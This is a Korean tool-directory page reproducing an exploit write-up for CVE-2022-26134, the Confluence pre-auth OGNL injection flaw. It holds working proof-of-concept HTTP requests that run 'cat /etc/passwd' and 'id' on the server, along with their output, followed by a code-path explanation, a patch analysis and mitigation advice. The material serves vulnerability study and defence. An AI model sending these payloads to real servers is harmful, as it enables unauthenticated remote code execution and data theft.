Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-26134 — [CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection | Kitploit
도구/GitHubGitHub/murataydemir/cve-2022-26134
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

저장소 보기
134년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2022-26134] Confluence 사전 인증 객체 그래프 탐색 언어(OGNL) 주입


Confluence는 Atlassian이 개발한 웹 기반 워크스페이스 협업 제품입니다. 온프레미스로 배포하거나 Atlassian Cloud의 일부로 배포할 수 있습니다. 페이지(page), 스페이스(space), 페이지 트리(page tree)의 3가지 주요 기능으로 구성됩니다.

  • 페이지: 콘텐츠는 페이지에 저장됩니다. 페이지는 Confluence 사이트에서 생성하는 살아있는 문서입니다. 프로젝트 계획부터 회의 노트, 문제 해결 가이드, 정책 등 거의 모든 용도로 페이지를 만들 수 있습니다.
  • 스페이스: 페이지는 스페이스에 저장됩니다. 스페이스는 작업을 공동으로 수행하고 모든 콘텐츠를 체계적으로 유지할 수 있는 워크스페이스입니다.
  • 페이지 트리: 계층적 페이지 트리로 스페이스 콘텐츠를 구성하여 작업을 빠르고 쉽게 찾을 수 있습니다. 관련 스페이스와 페이지 아래에 페이지를 중첩하여 원하는 거의 모든 방식으로 페이지를 구성할 수 있습니다.

2022-06-02 20:00 UTC에 Atlassian은 Confluence Server 및 Confluence Data Center 제품에 영향을 미치는 원격 코드 실행(RCE) 취약점과 관련된 보안 권고를 발표했습니다. CVE-2022-26134 취약점에 대한 자세한 정보는 아래에서 확인할 수 있습니다.

요약: CVE-2022-26134 - Confluence Server 및 Data Center의 심각도가 높은 인증되지 않은 원격 코드 실행 취약점
권고 발표일: 2022년 6월 2일
영향을 받는 제품: Confluence Server 및 Confluence Data Center
영향을 받는 버전: 지원되는 모든 버전의 Confluence Server 및 Data Center가 영향을 받습니다. 1.3.0 이후의 Confluence Server 및 Data Center 버전이 영향을 받습니다.
수정된 버전: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 및 7.18.1
CVE ID: CVE-2022-26134 Confluence 사전 인증 객체 그래프 탐색 언어(OGNL) 주입

개념 증명(PoC): 샘플 요청 1

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

응답 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

개념 증명(PoC): 샘플 요청 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

응답 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
취약점은 어떻게 동작하나요?
URL의 /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ 경로는 Confluence에 의해 네임스페이스로 파싱됩니다. 그런 다음 코드는 이 네임스페이스에 대해 translateVariables(Confluence의 텍스트 파싱 유틸리티의 일부)를 사용합니다. translateVariables는 OGNL을 사용하기 때문에 공격 구문이 파싱되고 평가됩니다.

OgnlValueStack의 findValue(str)은 OGNL 표현식이 평가되는 시작점이므로 중요합니다. 아래 코드 조각에서 볼 수 있듯이 이 취약점이 악용되면 TextParseUtil.class가 OgnlValueStack.findValue를 호출합니다.

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class는 제공된 표현식으로 this.namespace를 사용하여 TextParseUtil.translateVariables를 호출합니다:

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

여기서 namespace는 com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath에서 요청 URI 문자열로부터 생성됩니다:

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

그 결과 공격자가 제공한 URI는 네임스페이스로 변환된 후 OGNL 표현식 평가까지 전달됩니다. 높은 수준에서 보면 이는 Apache Struts2 네임스페이스 OGNL 주입 취약점인 CVE-2018-11776과 매우 유사합니다.

패치 분석
Atlassian은 고객에게 xwork-1.0.3.6.jar를 새로 출시된 xwork-1.0.3-atlassian-10.jar로 교체하도록 안내했습니다. xwork JAR에는 OGNL 표현식 평가 경로로 확인된 ActionChainResult.class와 TextParseUtil.class가 포함되어 있습니다.

패치는 이 문제를 해결하기 위해 여러 가지 작은 변경을 수행합니다. 그중 하나는 ActionChainResult.execute에서 더 이상 namespace를 TextParseUtil.translateVariables로 전달하지 않는 것입니다:

이전

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

이후

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

git diff 명령 출력 덕분에 아래 스크린샷의 ActionChainResult.class에서 패치 전후의 차이를 확인할 수 있습니다. (Datalog 블로그 게시물에서 복사)

PoC-5

Atlassian은 또한 xworks jar에 SafeExpressionUtil.class를 추가했습니다. SafeExpressionUtil.class는 안전하지 않은 표현식의 필터링을 제공하며, findValue가 호출될 때 표현식을 검사하기 위해 OgnlValueStack.class에 삽입되었습니다. 예를 들어:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

조직은 이 취약점으로부터 보호하기 위해 무엇을 할 수 있나요?
이제 패치가 제공되므로 수정된 버전의 Confluence로 업그레이드하시기 바랍니다. 현재 패치 적용이 어려운 경우 Atlassian은 Confluence 버전별로 고객을 위한 임시 해결 방법 지침을 제공했습니다. 두 방법 모두 완화 조치를 적용하는 동안 Confluence를 일시적으로 종료해야 합니다. 자세한 내용은 Atlassian 보안 권고의 구체적인 지침을 참조하십시오:

  • Confluence 7.15.0 - 7.18.0 대상
  • Confluence 7.0.0 - Confluence 7.14.2 대상

이 취약점의 해결 방법에 대한 자세한 내용은 다음 리소스를 참조하십시오:

  • 원본 블로그 게시물: Volexity: Atlassian Confluence의 제로데이 악용
  • 기술 분석 참고 자료: AttackerDB: CVE-2022-26134 | Datadog: Confluence RCE 취약점(CVE-2022-26134): 개요, 탐지 및 해결 방법
  • CVE-2022-26134: 실제 환경에서 악용된 Atlassian Confluence Server 및 Data Center의 제로데이 취약점
  • Confluence CVE-2022-26134의 활발한 악용
  • Confluence 보안 권고 2022-06-02
도구 다운로드